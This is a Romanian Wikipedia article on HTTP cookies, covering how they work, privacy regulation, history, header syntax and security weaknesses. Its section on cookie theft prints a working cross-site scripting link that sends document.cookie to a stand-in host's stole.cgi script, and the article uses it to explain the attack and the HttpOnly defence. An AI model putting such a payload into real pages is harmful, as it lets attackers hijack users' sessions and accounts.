Sari la conținut

Cookie

De la Wikipedia, enciclopedia liberă

Un cookie HTTP sau un modul cookie este un text special, deseori codificat, trimis de un server unui navigator web și apoi trimis înapoi (nemodificat) de către navigator, de fiecare dată când accesează acel server. Cookie-urile sunt folosite pentru autentificare precum și pentru urmărirea comportamentului utilizatorilor; aplicații tipice sunt reținerea preferințelor utilizatorilor și implementarea sistemului de „coș de cumpărături”.

Termenul „cookie” este un cuvânt englez (biscuit, pronunție: /ˈkuˌki/). În informatică el este derivat din termenul „magic cookie”, un concept des utilizat în IT. În general cuvântul „cookie” cu acest sens este folosit și în alte limbi; doar în terminologia tehnică francofonă s-a încercat traducerea lui prin termenul témoin („martor”).

Cookie-urile au creat îngrijorare din cauză că ele permit strângerea de informații despre comportamentul utilizatorilor (în principiu, ce anume pagini web vizitează și când). Ca urmare, folosirea lor (și a informațiilor culese) sunt supuse în unele țări unor restricții legale, printre care Statele Unite ale Americii și țările UE. Tehnicile de tip „cookie” au fost de asemenea criticate pentru faptul că identificarea utilizatorilor nu e întotdeauna precisă, ca și pentru faptul că prin intermediul lor se pot executa atacuri informatice.

Există și o serie de păreri greșite despre cookie-uri, cele mai multe bazate pe impresia (greșită) că ele ar conține întotdeauna cod executabil; în realitate ele sunt doar texte, și nu pot să execute nicio operație. Ele nu sunt nici spyware și nici viruși informatici, deși anumite programe antivirus și anti-spyware le pot detecta.

Cele mai multe navigatoare moderne permit utilizatorului să decidă dacă acceptă sau nu cookie-uri. Siturilor care le refuză le vor lipsi însă anumite facilități - de exemplu, într-un magazin virtual nu se va mai putea folosi coșul de cumpărături, dacă acesta a fost implementat cu ajutorul cookie-urilor.

Cookie-urile sunt folosite de serverele web pentru a putea diferenția utilizatorii și pentru a putea reacționa în funcție de acțiunile acestora în cadrul unei sesiuni formate din mai multe tranzacții separate. Ele au fost inventate pentru a se putea implementa un coș de cumpărături virtual: de obicei, utilizatorul mai întâi se autentifică (login), apoi navighează pe site, adaugă sau elimină în voie obiecte din coș, apoi afișează conținutul coșului, cere calcularea prețului final, se hotărăște să comande (ori totuși renunță), iar la sfârșit închide sesiunea (logout).

Autentificarea utilizatorilor față de server este o altă aplicație a cookie-urilor; cu ajutorul acestora serverul reține faptul că utilizatorul s-a autentificat, și îi va permite acțiuni specifice celor autentificați.

Unele site-uri folosesc cookie-urile și pentru a permite utilizatorilor să modifice felul în care afișează paginile de web, în funcție de preferințele personale, care sunt reținute și între sesiuni. Se pot modifica și reține în acest fel atât aspecte legate de funcționalitatea cât și de afișarea grafică a paginilor. De exemplu, Wikipedia permite utilizatorilor înregistrați să modifice aspectul paginilor, iar în Google, chiar și utilizatorii neînregistrați pot de exemplu alege câte rezultate să fie afișate într-o pagină.

Cookie-urile se folosesc și pentru a urmări activitatea unui utilizator pe un site, sau chiar pe mai multe site-uri, în cazul cookie-urilor „third party” sau a așa-numiților „web bugs”. Urmărirea în cadrul unui site este făcută în scopul obținerii unor statistici de folosire. În special companiile de publicitate urmăresc activitatea utilizatorilor în cadrul mai multor situri pentru a afla mai exact interesele lor, putând astfel să decidă care anume reclame să trimită la un anumit moment unui anumit utilizator.

Cookie-urile de obicei conțin date fără semnificație pentru utilizator sau pentru navigatorul său, dar care pot fi interpretate de server. Navigatorul le primește și le returnează serverului nemodificate, introducând astfel o „amintire” a evenimentelor trecute în cererea HTTP, care în sine este atemporală (altfel spus, fiecare cerere este în principiu un eveniment izolat, fără a avea vreo legătură cu alte cereri HTTP trecute sau viitoare către același server). Returnând însă un cookie unui server, acesta poate lega cererea actuală de cereri precedente (în care același server a trimis cookie-ul), în acest fel luând naștere o așa numită sesiune. În afară de servere, cookie-urile mai pot fi create și de aplicații web care rulează pe server, comunică cu clienții prin HTTP, și sunt scrise în limbaje de programare cum ar fi Java și C# sau în scripturi ce rulează pe server.

Descrierea detaliată a mecanismului[1][2] sugerează ca navigatoarele să poată reține cel puțin 300 de cookie-uri de câte 4 kb, și cel puțin 20 pentru fiecare server sau domeniu de Internet.

La crearea cookie-ului se poate specifica și data de ștergere; în caz contrar, acesta va fi șters la închiderea navigatorului. Un magazin virtual poate dori să se rețină conținutul coșului de cumpărături între sesiuni, astfel încât la următoarea vizită utilizatorul să nu trebuiască să caute din nou toate produsele. În acest caz, serverul magazinului va crea un cookie cu un termen de ștergere ceva mai lung. Doar cookie-urile care au un termen de ștergere lung, specificat explicit, vor „supraviețui” între sesiuni, în care caz ele pot fi numite „persistente”.

De la apariția cookie-urilor pe Internet s-au răspândit și mai multe păreri greșite despre ele.[3][4] În 2005, Jupiter Research a publicat rezultatele unui sondaj,[5] conform căruia o bună parte din cei chestionați credeau că:

  • cookie-urile sunt similare viermilor sau virușilor, putând să șteargă date de pe discul dur;
  • cookie-urile sunt o formă de spyware, ele putând să citească informații personale stocate în PC;
  • cookie-urile generează popup-uri (ferestre cu reclame, deschise automat de către navigator, în general deranjante);
  • cookie-urile sunt folosite pentru a trimite spam;
  • cookie-urile sunt o formă de reclamă.

De fapt cookie-urile conțin doar date, nu și cod (instrucțiuni executabile): ele nu pot să șteargă sau să citească nimic de pe PC-ul utilizatorului.[6] Totuși, ele permit detectarea paginilor vizitate de un utilizator pe unul sau mai multe situri. Aceste informații pot fi colectate într-un profil al utilizatorului. Acesta este ce-i drept anonim (nu conține informații personale cum ar fi nume sau adresă, cu excepția cazului în care utilizatorul și-a indicat el însuși datele personale), dar conține totuși o adresă IP. Chiar dacă sunt în teorie anonime, datele colectate în acest fel au dat naștere unor îngrijorări cu privire la cât de bine se asigură anonimitatea utilizatorului atunci când navighează pe Internet.

În plus, conform aceluiași sondaj, destul de mulți intervievați nu știau cum să șteargă cookie-urile reținute de navigatoarele lor.

Configurarea navigatorului

[modificare | modificare sursă]

Cele mai multe navigatoare moderne suportă cookie-uri; ele permit însă utilizatorului să decidă dacă va folosi sau nu cookie-uri. Variantele cele mai folosite sunt:[7] (1) nu sunt folosite cookie-uri, (2) navigatorul cere permisiunea utilizatorului la fiecare cookie, sau (3) toate cookie-urile sunt acceptate.

Fereastra de configurare a cookie-urilor din Mozilla Firefox, afișând cookie-urile în funcție de domeniul de proveniență.

Navigatorul poate permite specificarea mai detaliată a cookie-urilor care să fie acceptate. De obicei utilizatorul are la dispoziție următoarele opțiuni: respingerea cookie-urilor pentru anumite domenii de internet; respingerea cookie-urilor third party (explicate mai jos); acceptarea cookie-urilor dar ștergerea lor la închiderea navigatorului; permisiunea ca un server să creeze cookie-uri pentru un alt domeniu. Cele mai multe navigatoare care suportă Javascript dau posibilitatea afișării cookie-urilor active pentru o anumită pagină, scriind javascript:alert("Cookies: "+document.cookie) în câmpul de editare a URL-ului. În plus, unele navigatoare permit utilizatorului să vadă și să șteargă individual cookie-urile stocate.

Standardul P3P dă posibilitatea serverelor să declare ce fel de informații colectează și în ce scop, incluzând informațiile colectate cu ajutorul cookie-urilor. Astfel, un navigator poate să decidă dacă acceptă sau nu cookie-urile, sau poate afișa utilizatorului intențiile declarate de server, iar acesta va decide acceptarea sau respingerea cookie-urilor.

[modificare | modificare sursă]

Cookie-urile au implicații destul de importante în ceea ce privește anonimitatea și securitatea informațiilor de natură personală ale celor care accesează pagini de web. Deși cookie-urile sunt trimise doar serverului care le-a creat sau unuia care este în același domeniu de Internet, o pagină poate conține imagini (sau alte elemente) găzduite pe mai multe servere din domenii diferite. Cookie-urile create de aceste servere secundare (față de serverul pe care este găzduită pagina propriu-zisă) se numesc „de terță parte”.

Companiile publicitare folosesc astfel de cookie-uri pentru a urmări utilizatorii care accesează paginile în care aceasta are imagini sau așa numite „Web-bugs” (care sunt imagini cu dimensiunea de un singur pixel, în mod normal invizibile — transparente, al căror singur rol constă în a declanșa un transfer de cookie-uri). În acest fel compania cunoaște comportamentul utilizatorilor și poate plasa reclame pertinente (apropiate de preocupările și interesele utilizatorului) în anumite pagini.

Posibilitatea generării unei aproximări a comportamentului utilizatorilor a fost considerată de unii drept o amenințare a anonimității, mai ales atunci când aceasta se face prin urmărirea acțiunilor pe mai multe domenii de Internet, folosind cookie-uri de „terță parte”. Din această cauză, folosirea cookie-urilor este reglementată prin lege în unele țări.

Guvernul Statelor Unite ale Americii a elaborat un set strict de reguli în privința cookie-urilor în anul 2000, după ce a ieșit la iveală faptul că Direcția pentru Controlul Drogurilor a Casei Albe folosea cookie-uri pentru a vedea dacă cei care îi accesau site-ul accesau după aceea pagini de web despre folosirea ori producerea drogurilor. În 2002, Daniel Brandt, militant pentru securitatea datelor personale pe web, a descoperit că și pagina de web a CIA lăsa pe hard-disk-urile utilizatorilor cookie-uri persistente (cu data de expirare 2010). După ce a fost anunțată că își încalcă propriile reguli, CIA a răspuns că trimiterea cookie-urilor a fost accidentală, că ele nu au fost folosite efectiv pentru a urmări utilizatorii și și-a modificat pagina astfel încât să nu mai folosească cookie-uri.[8] Pe 25 decembrie 2005, Brandt a descoperit că și NSA lăsa două cookie-uri persistente pe calculatoarele utilizatorilor, din cauza unui update de software. După ce a fost informată de acest lucru, NSA a dezactivat trimiterea de cookie-uri de pe site-ul propriu.[9]

O directivă din 2002 a Uniunii Europene în privința securității informațiilor de natură personală pe Internet conține reguli legate de folosirea cookie-urilor. Printre altele, Articolul 5, Alineatul 3 specifică faptul că salvarea datelor (cum ar fi cookie-uri) pe calculatorul unui utilizator poate fi făcută doar dacă: 1) utilizatorului i se spune cum vor fi utilizate aceste date; și 2) utilizatorului i se dă posibilitatea de a refuza aceste date. Totuși, același articol menționează faptul că salvarea datelor necesare din motive tehnice este exceptată de la această regulă. Această directivă trebuia aplicată încă din octombrie 2003, dar un raport din decembrie 2004[10] spune (la pagina 38) că această prevedere nu a fost pusă în practică, și că unele țări membre nici măcar nu au adoptat-o (Slovacia, Letonia, Grecia, Belgia, și Luxembourg). Același raport propune o analiză serioasă a situației din statele membre (ale Uniunii Europene).

[modificare | modificare sursă]

În afară de problema securității datelor personale, mai există câteva motive pentru care folosirea cookie-urilor este criticată: ele nu pot identifica foarte precis utilizatorii, și pot fi folosite pentru a ataca sistemele IT.

Identificarea imprecisă

[modificare | modificare sursă]

Dacă pe un calculator sunt folosite mai multe navigatoare, fiecare va avea cookie-urile sale. Deci cookie-urile nu identifică persoana, ci combinația cont de utilizator, calculator, navigator. Oricine folosește mai multe conturi de utilizator, calculatoare sau navigatoare, va avea mai multe seturi de cookie-uri.

De asemenea, prin cookie-uri nu se poate face diferența dintre doi utilizatori care folosesc același calculator și navigator (dacă nu folosesc conturi de utilizator diferite).

Un cookie poate fi furat de către un alt computer căruia i se permite să citească din rețea
[modificare | modificare sursă]

În mod normal, cookie-urile sunt transferate între un server (sau mai multe servere din același domeniu) și calculatorul utilizatorului. Deoarece cookie-urile pot conține informații confidențiale (nume de utilizator, parolă etc.), ele nu ar trebui să fie accesibile altor calculatoare. Din păcate, sesiunile HTTP obișnuite sunt vizibile tuturor calculatoarelor din rețea, care pot intercepta pachetele de date. Aceste cookie-uri nu pot conține deci informații confidențiale. O soluție posibilă este HTTPS, care folosește Transport Layer Security pentru a cripta toate datele schimbate între server și calculatorul utilizatorului.

Cross-site scripting: un cookie care ar trebui să fie schimbat doar între server și client este trimis unei a treia părți.

Așa numitul „cross-site scripting” (scripting inter-sit) permite trimiterea unui cookie altor servere, care nu ar trebui în mod normal să-l primească. Navigatoarele moderne permit executarea (de către client) a unor fragmente de cod primite de la server; dacă cookie-urile pot fi accesate în timpul execuției, ele ar putea fi trimise altor servere decât cele „autorizate”. Aceasta se numește „furtul” cookie-ului, iar criptarea nu ajută împotriva acestui gen de atac.[11]

Această metodă este de obicei folosită pe sit-uri care permit utilizatorilor să trimită conținut HTML. Folosind un anumit fragment de cod, un utilizator rău-voitor poate să primească cookie-uri ale altor utilizatori; cu ajutorul lor, el poate apoi să se conecteze și să se păcălească serverul, care crede că altcineva s-a autentificat.

[modificare | modificare sursă]
„Otrăvirea” cookie-urilor: un atacator trimite unui server un cookie invalid (de exemplu un cookie primit de la server, dar modificat).

Cookie-urile ar trebui să fie reținute și trimise serverului neschimbate; un atacator ar putea însă să le modifice și apoi să le trimită serverului. Acest proces se numește „otrăvirea” cookie-urilor, și este uneori folosit după „furtul” lor. Dacă, de exemplu, un cookie reține suma care trebuie plătită pentru cumpărăturile din coșul virtual, schimbarea acestei valori ar putea permite cumpărarea unor bunuri la un preț mult mai mic.

Totuși, cele mai multe site-uri rețin cu ajutorul cookie-urilor doar un identificator de sesiune: acesta este un număr unic (generat aleator) care identifică sesiunea utilizatorului - el reprezintă de fapt un index într-o tabelă internă a serverului, în care se rețin valorile cu adevărat importante, cum ar fi prețul unor cumpărături, ș.a.m.d.. În acest fel problema cookie-urilor invalide este în principiu eliminată.

[modificare | modificare sursă]

Fiecare site ar trebui să aibă acces doar la cookie-urile proprii, adică un site de genul rău.net nu ar trebui să poată citi cookie-uri trimise clientului de un alt site bun.net. Totuși, erori în programarea navigatoarelor pot duce la încălcarea acestei reguli. Se ajunge la o situație similară trimiterii de cookie-uri modificate, dar în acest caz nu este atacat serverul, ci un utilizator de bunăcredință care folosește un navigator vulnerabil. În acest fel, de exemplu, se poate fura acel identificator de sesiune și atacatorul poate să se „autentifice” în locul utilizatorului de bună credință.

[modificare | modificare sursă]

Există o serie de alternative la folosirea cookie-urilor. Acestea au însă și ele dezavantajele lor, de aceea cookie-urile sunt preferate de cele mai multe ori în practică. Cele mai multe dintre aceste metode alternative permit urmărirea acțiunilor utilizatorilor, deși cu o acuratețe mai mică decât cea a cookie-urilor. Securitatea informațiilor personale rămâne deci o problemă, chiar dacă navigatorul este configurat să nu accepte cookie-uri.

O metodă foarte puțin precisă de urmărire a utilizatorilor se bazează pe reținerea adreselor IP ale calculatoarelor care solicită pagini web. Aceasta a fost disponibilă și folosită încă de la începuturile World Wide Web-ului, pentru că trimiterea paginii către un client presupune cunoașterea adresei IP a acestuia (sau a proxy-ului, dacă se folosește unul). Această adresă poate fi reținută de către server indiferent dacă cookie-urile sunt sau nu folosite.

Totuși, calculatoarele și proxy-urile pot fi folosite de mai mulți utilizatori; de asemenea, același calculator poate avea adrese IP diferite, de exemplu în cazul unor conexiuni succesive prin dial-up. De aceea, o urmărire fiabilă a unui utilizator este dificilă; o proprietate a protocolului HTTP poate ajuta în acest sens: atunci când un navigator cere o pagină din cauză că utilizatorul urmează o legătură, cererea conține și adresa paginii pe care se află această legătură. Dacă serverul stochează aceste adrese, el poate avea succesiunea de pagini vizitate de utilizator. Nici această metodă nu este la fel de eficientă ca folosirea cookie-urilor, deoarece mai mulți utilizatori pot accesa aceeași pagină de la același calculator, NAT router, sau proxy și apoi să urmeze două legături diferite. În orice caz, în acest fel se pot doar urmări acțiunile utilizatorului, și nu se pot suplini celelalte moduri de folosire a cookie-urilor.

Urmărirea cu ajutorul adresei IP poate fi imposibilă dacă utilizatorul folosește unul dintre sistemele de acces anonim la internet, cum ar fi Tor. Acestea fac ca un navigator să aibă mai multe adrese IP în cadrul unei singure sesiuni, și chiar pot face să pară că de la aceeași adresă IP vin mai mulți utilizatori.

URL (query string)

[modificare | modificare sursă]

O metodă mai precisă se bazează pe introducerea informației în adresa URL. Partea denumită „query string” este folosită de obicei, dar se pot folosi și alte secțiuni. Mecanismul sesiunilor PHP folosește această metodă dacă cookie-urile nu sunt activate.

În principiu metoda constă în adăugarea la adresele URL ale legăturilor (de pe paginile găzduite) a unui șir de caractere (informația care altfel ar fi fost reținută într-un cookie). Atunci când este urmată una dintre legături, navigatorul returnează întregul URL (deci și partea atașată) serverului. Diferența față de mecanismul cookie-urilor este următoarea: dacă URL-ul este refolosit (de exemplu trimis prin e-mail sau reținut în navigator), aceeași informație este primită de server; de exemplu urmând un URL primit prin e-mail, utilizatorul va fi întâmpinat de preferințele ori coșul de cumpărături inițial (al celui care i-a trimis e-mail-ul). Mai mult, dacă același utilizator deschide aceeași pagină de două ori, dar „venind” din pagini diferite (de exemplu dintr-un motor de căutare și dintr-o altă pagină a aceluiași domeniu), el va vedea lucruri diferite.

Un alt dezavantaj al acestei metode este legat de securitate: trimițând o adresă prin e-mail, este posibil să fie trimis și un identificator de sesiune, iar cel care va urma legătura va apărea pentru server ca fiind un utilizator autentificat. În această privință cookie-urile sunt mult mai sigure, fiind mai greu de „furat”.

Autentificare HTTP

[modificare | modificare sursă]

Protocolul HTTP include mecanisme (cum ar fi digest access authentication), care permit accesarea unei pagini Web doar după furnizarea unui nume de utilizator și a unei parole, pe care navigatorul le reține și le transmite server-ului la fiecare cerere, fără ca utilizatorul să le introducă de fiecare dată; din punctul acestuia de vedere, lucrurile se desfășoară ca și în cazul folosirii cookie-urilor. Totuși, transmiterea parolei (și chiar a numelui de utilizator) de fiecare dată când este cerută o pagină este destul de nesigură: acest trafic poate fi interceptat. Identificatorul de sesiune (informația care putea fi interceptată dacă se foloseau cookie-uri) expiră destul de repede după ce nu a fost folosit, devenind inutilizabil pentru un atacator.

Obiecte Locale Macromedia Flash

[modificare | modificare sursă]

Dacă un navigator folosește plugin-ul Macromedia Flash Player funcția de salvare locală a unor obiecte poate fi folosită într-un mod foarte asemănător cookie-urilor. Aceasta poate fi o opțiune atrăgătoare pentru dezvoltatorii de pagini Web, pentru că majoritatea utilizatorilor de Windows folosesc acest plugin, iar limita de mărime este de 100 kb. În plus, configurările sunt separate de cookie-uri, deci stocarea locală a obiectelor poate fi activată, iar cookie-urile dezactivate.

Alte metode de a stoca date local

[modificare | modificare sursă]

Unele navigatoare suportă un mecanism prin care paginile Web își pot stoca local unele date printr-un script. Internet Explorer, de exemplu, poate fi folosit pentru a stoca date într-o pagină Web salvată pe hard-disk, într-un document XML, sau în secțiunile „Favorites” („Pagini favorite” ori „Semne de carte”) ori „History” („Pagini recente”) ale navigatorului.[12]

Dacă Javascript este activat, proprietatea name name a obiectului window poate fi folosită pentru a stoca local date, deoarece aceasta rămâne neschimbată la încărcarea succesivă a unor pagini Web. Metoda este mai puțin cunoscută, și din această cauză nu este considerată drept o amenințare la adresa securității.[13]

[modificare | modificare sursă]

Termenul vine de la expresia din limba engleză „magic cookie”, care desemnează un pachet de date pe care un program îl primește doar pentru a-l trimite înapoi nemodificat. Acest procedeu era deja larg răspândit atunci când, în iunie 1994, Lou Montulli a avut ideea de a-l folosi în cadrul comunicațiilor web[14]. Pe atunci el era angajat al Netscape Communications, care dezvolta o aplicație e-commerce pentru un client, iar cookie-urile au fost folosite pentru a implementa un „coș de cumpărături virtual”[15][16]

Împreună cu John Giannandrea, Montulli a scris descrierea tehnică a cookie-urilor, iar versiunea 0.9 a navigatorului Netscape (lansată în septembrie 1994) accepta cookie-uri. Prima aplicație a cookie-urilor a fost pe situl Netscape - se verifica dacă un vizitator intra accesa pentru prima dată situl. Montulli și Giannandrea au depus o cerere de brevetare a mecanismului (1995), primind brevetul în 1998. Versiunea 2 a Internet Explorer (lansată în 1995) suporta de asemenea cookie-uri.[17]

La acel moment, introducerea cookie-urilor nu era foarte cunoscută de publicul larg. Cookie-urile erau acceptate de setările implicite ale navigatorului, iar utilizatorii nu erau notificați de prezența lor. Un articol Financial Times, publicat în12 februarie 1996, a atras atenția asupra cookie-urilor, mai ales din cauza posibilității de a sustrage cu ajutorul lor informații personale.

Primele specificații oficiale au fost scrise în februarie 1997, de IETF (documentul RFC 2109). Cookie-urile „third-party” au fost identificate ca fiind o amenințare la adresa anonimității utilizatorilor, astfel încât documentul recomandă ca ele să nu fie acceptate deloc, sau măcar ca aceasta să fie setarea implicită a navigatorului.

Companiile de publicitate deja foloseau cookie-uri, iar recomandarea privind cookie-uri „third-party” nu au fost respectate de Netscape ori de Internet Explorer. RFC 2109 a fost urmat de RFC 2965 în octombrie 2000.

Implementarea

[modificare | modificare sursă]
[modificare | modificare sursă]

Paginile web sunt transmise prin HTTP; navigatorul începe prin a trimite o cerere serverului. De exemplu, pentru a accesa pagina http://www.w3.org/index.html, navigatorul se conectează la serveul www.w3.org și trimite o cerere de forma:

GET /index.html HTTP/1.1

navigator
server

Serverul răspunde trimițând pagina cerută, precedată de un pachet de text numit „HTTP header”. Acesta poate conține linii care cer navigatorului să rețină cookie-uri:

HTTP/1.1 200 OK
Set-Cookie: name=value
Content-type: text/html
 
(content of page)

navigator
server

Linia Set-cookie este trimisă doar dacă serverul vrea ca navigatorul să rețină un cookie. Mai precis, cookie-ul este name=value. Dacă navigatorul acceptă cookie-uri, toate cererile următoare către același server vor conține acel cookie. De exemplu, dacă navigatorul vrea să acceseze http://www.w3.org/spec.html va trimite serverului www.w3.org o cerere de forma:

GET /spec.html HTTP/1.1
Cookie: name=value
Accept: */*
 

navigator
server

În acest fel serverul știe că aceasta nu e prima cerere, și va răspunde trimițând pagina cerută, eventual împreună cu alte cookie-uri. Valoarea unui cookie poate fi modificată de server trimițând linia Set-Cookie: name=newvalue în răspunsul următoarei cereri a navigatorului.

În general, linia Set-Cookie nu e creată de serverul propriu-zis, ci de un program CGI. Serverul doar trimite rezultatul generat de acest program navigatorului.

cookie-urile pot fi create și de scripturi (de exemplu JavaScript) care rulează în cadrul navigatorului. În JavaScript, se folosește obiectul document.cookie. De exemplu, instrucțiunea document.cookie = "temperature=20" creează un cookie cu numele temperature și valoarea 20.[18]

[modificare | modificare sursă]

În afară de nume și valoare, un cookie poate să conțină data expirării, o cale, un nume de domeniu (domain name), și dacă cookie-ul trebuie sau nu să fie transmis doar prin conexiune criptată (Transport Layer Security). RFC 2109 prevede folosirea unui număr care să rețină versiunea cookie-ului, dar acesta e de obicei omis. Aceste proprietăți urmează după name=newvalue și sunt de obicei separate prin „;”. De exemplu, un cookie poate fi creat de server trimițând linia Set-Cookie: name=newvalue; expires=date; path=/; domain=.example.org.

Exemplul unui răspuns HTTP de la Google, care creează un cookie și proprietățile lui.

Numele de domeniu și calea spun navigatorului cărui server să trimită cookie-ul atunci când încearcă să acceseze o pagină. Dacă nu sunt specificate, valoarea implicită este domeniul și calea obiectului din cererea curentă. Ca urmare, șirurile domeniu și cale pot să ducă la trimiterea unui cookie la alt server decât cel implicit. Din motive de securitate, cookie-ul este acceptat doar dacă serverul este membru al domeniului specificat în proprietățile cookie-ului.

cookie-urile sunt de fapt identificate de tripleta nume/domeniu/cale, nu doar de nume (În varianta originală Netscape apărea doar perechea nume/cale). Cu alte cuvinte, același nume dar domenii diferite reprezintă cookie-uri diferite (probabil cu valori diferite).

Data expirării specifică momentul în care navigatorul va șterge cookie-ul din memorie. În mod implicit (dacă nu se specifică o dată a expirării), cookie-urile sunt șterse la închiderea sesiunii (oprirea programului), dar dacă este specificată o anumită dată, cookie-ul va rămâne în memorie(până la acea dată). În acest fel, specificând o dată a expirării, cookie-urile „supraviețuiesc” între sesiuni; această proprietate se numește „persistență”

De exemplu, un server ar putea să trimită un cookie de forma următoare:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.example.net

Numele acestui cookie este RMID, iar valoarea sa 732423sdfs73242. Calea și numele de domeniu / and .example.net spun navigatorului să trimită cookie-ul atunci când cere o pagină (orice pagină) din domeniu .example.net.

Data expirării este 31 decembrie 2010, ora 23:59:59 GMT. Orice cerere după acea dată nu va mai fi însoțită de acest cookie, care va fi șters. Cookie-urile mai pot fi șterse de server (trimițând o cerere de modificare și schimbând data de expirare undeva în trecut) sau de utilizator, din meniul navigatorului.

cookie-urile expiră, și de aceea nu sunt trimise de către navigator spre server în condițiile de mai jos:

  1. La sfârșitul unei sesiuni (de exemplu, când este închis navigatorul) dacă acel cookie nu este persistent
  2. Dacă a fost specificată o dată de expirare și data se află la momentul curent în trecut
  3. Dacă data expirării este schimbată (de către server sau script) într-o dată din trecut
  4. Navigatorul șterge cookie-ul la cererea utilizatorului

A treia condiție permite unui server sau unui script să șteargă în mod explicit un cookie.

Autentificare

[modificare | modificare sursă]

Cookie-urile pot fi folosite de servere pentru a recunoaște utilizatorii autentificați și pentru a modifica paginile trimise în funcție de preferințele acestora (personalizare). De exemplu:

  1. Utilizatorul introduce numele de utilizator și parola în câmpurile de editare ale unei pagini și le trimite spre server;
  2. Serverul primește numele de utilizator și parola și le verifică; dacă sunt corecte, trimite o pagină care confirmă acest lucru utilizatorului, împreună cu un cookie; de asemenea, serverul memorează perechea nume/cookie (sau doar cookie-ul);
  3. La fiecare accesare a unei pagini de pe acel server, navigatorul trimite și cookie-ul împreună cu cererea; serverul compară cookie-ul primit cu cele memorate, și poate să decidă dacă este vorba de un utilizator autentificat sau nu, trimițând pagina potrivită.

Aceasta este metoda folosită de aproape toate siturile, inclusiv Wikipedia.

Personalizarea paginilor

[modificare | modificare sursă]

În mod similar autentificării, serverul află ce utilizator îi cere o pagină și poate să o trimită în consecință, în funcție de preferințele exprimate anterior, și care au fost reținute de server. Se pot personaliza pagini chiar în cazul utilizatorilor care nu au un cont pe server: pur și simplu se rețin preferințele în cadrul cookie-ului, și la cererile următoare, trimițând și cookie-ul, navigatorul trimite și preferințele utilizatorului.

De exemplu, Google reține preferințele utilizatorilor într-un cookie numit PREF. Acesta e creat cu valori implicite la prima accesare a sitului. Atunci când utilizatorul intră în pagina de preferințe și alege ceva, serverul trimite o cerere de modificare a cookie-ului, reținând în el noua valoare.

Urmărirea utilizatorilor

[modificare | modificare sursă]

Metoda cea mai folosită este următoarea:

  1. Dacă o cerere nu conține nici un cookie, se presupune că este prima accesare a unei pagini de pe acel server; acesta creează un cookie cu o valoare arbitrară (dar unică) și-l trimite, împreună cu pagina solicitată;
  2. De acum încolo, navigatorul va primi împreună cu cererile și cookie-ul; el va trimite paginile cerute, dar va reține numele paginii cerute, data și ora, precum și valoarea cookie-ului într-o listă specială.

Parcurgând această listă, este posibil să se afle ce pagini (și în ce ordine) au fost vizitate de un anumit utilizator (identificat de un anumit cookie).

[modificare | modificare sursă]

Imaginile sau alte obiecte conținute de o pagină web pot să fie de fapt pe alt server decât cel pe care este pagina propriu-zisă. Pentru a afișa aceste obiecte, navigatorul le descarcă de pe serverele lor, eventual primind și cookie-uri. Acestea se numesc „third party”, dacă serverul care le-a creat se află în alt domeniu decât serverul paginii.

Acest fenomen se întâmplă mai ales în cazul reclamelor. Imaginile publicitare se află de obicei stocate pe serverele companiei publicitare, în alt domeniu decât pagina web pe care sunt afișate. Dacă navigatorul acceptă cookie-urile, compania de publicitate poate să urmărească activitatea utilizatorului pe mai multe situri (pe toate siturile vizitate, care au imagini ce provin de la acea companie de publicitate). Aceasta se face folosind un URL unic pentru fiecare sit (astfel încât aceeași imagine afișată pe două situri are alt URL) sau cu ajutorul câmpului referer din tranzacția HTTP. Același lucru se poate obține intercalând în pagina de web imagini invizibile utilizatorului, dar care sunt downloadate de navigator.

Companiile de publicitate au negat permanent că aceste informații ar fi folosite și pentru alte scopuri în afara stabilirii unor preferințe ale utilizatorilor.

Multe navigatoare moderne, cum ar fi Internet Explorer, Opera sau Mozilla Firefox, permit utilizatorului să aleagă blocarea cookie-urilor „third party”. Versiunea 6 a Internet Explorer permite și o formă intermediară de blocare: dacă third.com trimite un cookie odată cu o imagine de pe o pagină din domeniul first.com, cookie-ul nu este trimis în cazul în care o este nevoie de o imagine de pe același third.com, dar pentru un document din domeniul other.com; dacă însă un document oarecare din domeniul inițial first.com are nevoie de o imagine de pe third.com, cookie-ul va fi trimis.[19]

Coșul de cumpărături virtual

[modificare | modificare sursă]

Aceasta este o altă aplicație a cookie-urilor, discutată și mai sus

[modificare | modificare sursă]

Deși în principiu cookie-urile sunt trimise doar serverelor care le-au creat, există metode de a le „fura”, adică de a convinge navigatorul să le trimită altor servere.

Printre altele, scripturile JavaScript sau JScript au de obicei acces la toate cookie-urile stocate de navigator, putând să le trimită oriunde. Aceasta, împreună cu situri care permit utilizatorilor să le modifice paginile scriind conținut HTML duce la situații nedorite.

De exemplu, cineva care deține domeniul example.com poate scrie pe un alt sit o legătură de forma următoare:

<a href="#" onclick="window.location='http://example.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!</a>

Când un utilizator apasă pe această legătură, navigatorul înlocuiește document.cookie cu lista cookie-urilor active pe acel sit, care ajung astfel la serverul example.com, al cărui deținător are acces acum la cookie-urile utilizatorilor sitului pe care a pus legătura.

Acest gen de atac este imposibil de prevenit de către navigator, pentru că scriptul vine chiar de la serverul care a creat cookie-urile, și totul pare a fi autorizat de acel server. Singura soluție este ca administratorii siturilor care permit utilizatorilor să le modifice conținutul să implementeze metode pentru respingerea acestui gen de scripturi.

cookie-urile nu sunt vizibile în programele de pe partea client precum JavaScript dacă au fost trimise cu flag-ul HttpOnly. Din punctul de vedere al serverului, singura diferență față de cazul normal este că în linia set-cookie se adaugă la sfârșit șirul `HttpOnly':

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.example.net; HttpOnly

Când navigatorul primește un astfel de cookie, el trebuie să îl folosească în mod obișnuit pentru schimburile HTTP următoare, dar să nu îl facă vizibil scripturilor părții client.

  1. ^ en Persistent client state - HTTP cookies - Preliminary specification Arhivat în , la Wayback Machine. (Netscape)
  2. ^ en RFC 2109 and RFC 2965 - HTTP State Management Mechanism (IETF)
  3. ^ en Contrary to popular belief, cookies are good for you! (on the Internet) Arhivat în , la Wayback Machine.
  4. ^ en Keith C. Ivey cookie-urile: simple bucăți de date Arhivat în , la Wayback Machine.. 1998
  5. ^ en Brian Quinton. Sondaj: Utilizatorii nu știu ce sunt cookie-urile, și nici cum să le șteargă Arhivat în , la Wayback Machine.. Direct. May 18 2005
  6. ^ en Adam Penenberg. cookie-urile monstruoase. Revista „Slate”, 7 noiembrie 2005
  7. ^ en Întrebări frecvente despre cookie-uri
